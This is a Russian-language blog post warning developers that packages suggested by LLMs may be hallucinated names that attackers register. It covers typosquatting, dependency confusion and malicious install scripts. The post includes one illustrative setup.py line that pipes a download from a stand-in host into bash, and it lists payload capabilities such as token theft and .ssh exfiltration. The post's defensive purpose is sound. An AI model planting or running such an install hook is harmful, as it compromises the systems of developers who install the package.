Тема безопасности в эпоху LLM всплывает всё чаще. И речь идёт не о самой модели — а о пользователях, которые доверяют ей без оглядки.
Сегодня многие разработчики и админы спрашивают у GPT не только совета, но и готовые команды. Результат выглядит правдоподобно — и команда уходит в терминал. Иногда прямо на прод.
А дальше этот код попадает в GitHub, кто-то копипастит его оттуда — и вот уже выдуманная библиотека начинает новую жизнь. И если обычная ошибка — это неприятность, то левый пакет может стать входом для злоумышленников.
Жулики заметили тренд. Видят, что растёт число запросов на какую-то несуществующую библиотеку — и выкладывают её первыми. Разработчик ставит пакет, думая, что выполняет совет GPT, а на деле запускает чужой код у себя в системе.
Хуже того, если такой пакет попадёт обратно в ответы модели, круг замыкается. Ложная информация начинает множиться сама на себя.
Как пакеты становятся троянскими
Когда вы ставите библиотеку через pip install
или npm install
, менеджер зависимостей скачивает её код и выполняет скрипты, которые автор указал в настройках. Это часть нормальной установки — например, чтобы собрать бинарь. Но именно здесь злоумышленники прячут свой код.
Typosquatting (подмена имени)
Старая, но рабочая схема. Вместо requests
вы случайно пишете reqeusts
. Менеджер тянет другой пакет — и вместе с ним запускается подарок.
Самый громкий случай в Python случился совсем недавно — весной 2024 года. Тогда в PyPI выкладывали не десятки, а сразу сотни поддельных пакетов. Более 500 двойников имитировали названия популярных библиотек: TensorFlow
, requests
, BeautifulSoup
и многих других. Большинство методов проксировались из реальных библиотек, поэтому не все замечали подвох.
Dependency confusion
Классика корпоративной среды. Компания хранит свои библиотеки в локальном репозитории. Но если в публичном появится пакет с тем же названием, система может подтянуть именно его. В итоге внешний код оказывается внутри вашей инфраструктуры.
В 2021 году Алекс Бирсон решил проверить, как компании защищают свои внутренние пакеты. В крупных командах часто есть приватные библиотеки — например, super-duper-logger
.
Бирсон выложил такие же пакеты с теми же именами в публичный доступ, но с большим номером версии. Менеджеры зависимостей всегда тянули самую свежую версию — и в итоге код из публичного репозитория попадал в инфраструктуру корпораций.
На волне (мое название)
Мошенники следят за трендами. Если в поисках часто появляется «super-ml-lib», хотя такой библиотеки ещё нет, они выкладывают её первыми. GPT подхватывает название, вставляет его в ответы, кто-то запускает установку — и капкан захлопывается.
Что может делать вредоносный код
При установке пакета запускается setup.py
(в Python) или скрипты из package.json
(в npm). Внутри можно написать всё, что угодно.
Простейший пример:
import os
def install():
os.system("curl http://fuck.my.system.com/malware | bash")
Эта строчка отработает в момент установки — ещё до того, как вы успеете импортировать библиотеку в проект.
Через такие вызовы можно:
скачать и запустить произвольный бинарь
создать скрытые процессы
менять переменные окружения (например, украсть токены)
удалить или зашифровать файлы
переслать содержимое
.ssh/
злоумышленнику
С точки зрения системы это не взлом, а обычный скрипт пользователя. Всё запускается добровольно — только не вами, а за вас.
Как защититься
Даже простые меры снижают риск в разы:
не копипастите команды из GPT без проверки
всегда смотрите на библиотеку: кто автор, какой репозиторий, есть ли коммиты и звёзды
не запускайте всё подряд через
sudo
для компаний — используйте внутренние зеркала и подписывайте пакеты
LLM не враг. Она не придумывает вирусы специально для вас — но и не проверяет, что то, что она подсказала, безопасно. Ответ всегда выглядит убедительно, и именно это делает доверие опасным.
Один pip install
может превратиться в установку бэкдора, а может — просто добавить библиотеку в проект. Разница минимальна: всего один клик и пара секунд проверки.
И если проверка кажется лишней мелочью, стоит вспомнить, что большинство успешных атак начинались именно с неё — с одной буквы, одного имени пакета, одного нажатия Enter.
Оффтоп
Если тебе близки подобные темы — приглашаю в Telegram-канал «Техдир на пальцах».
Строим дружное и общительное коммьюнити.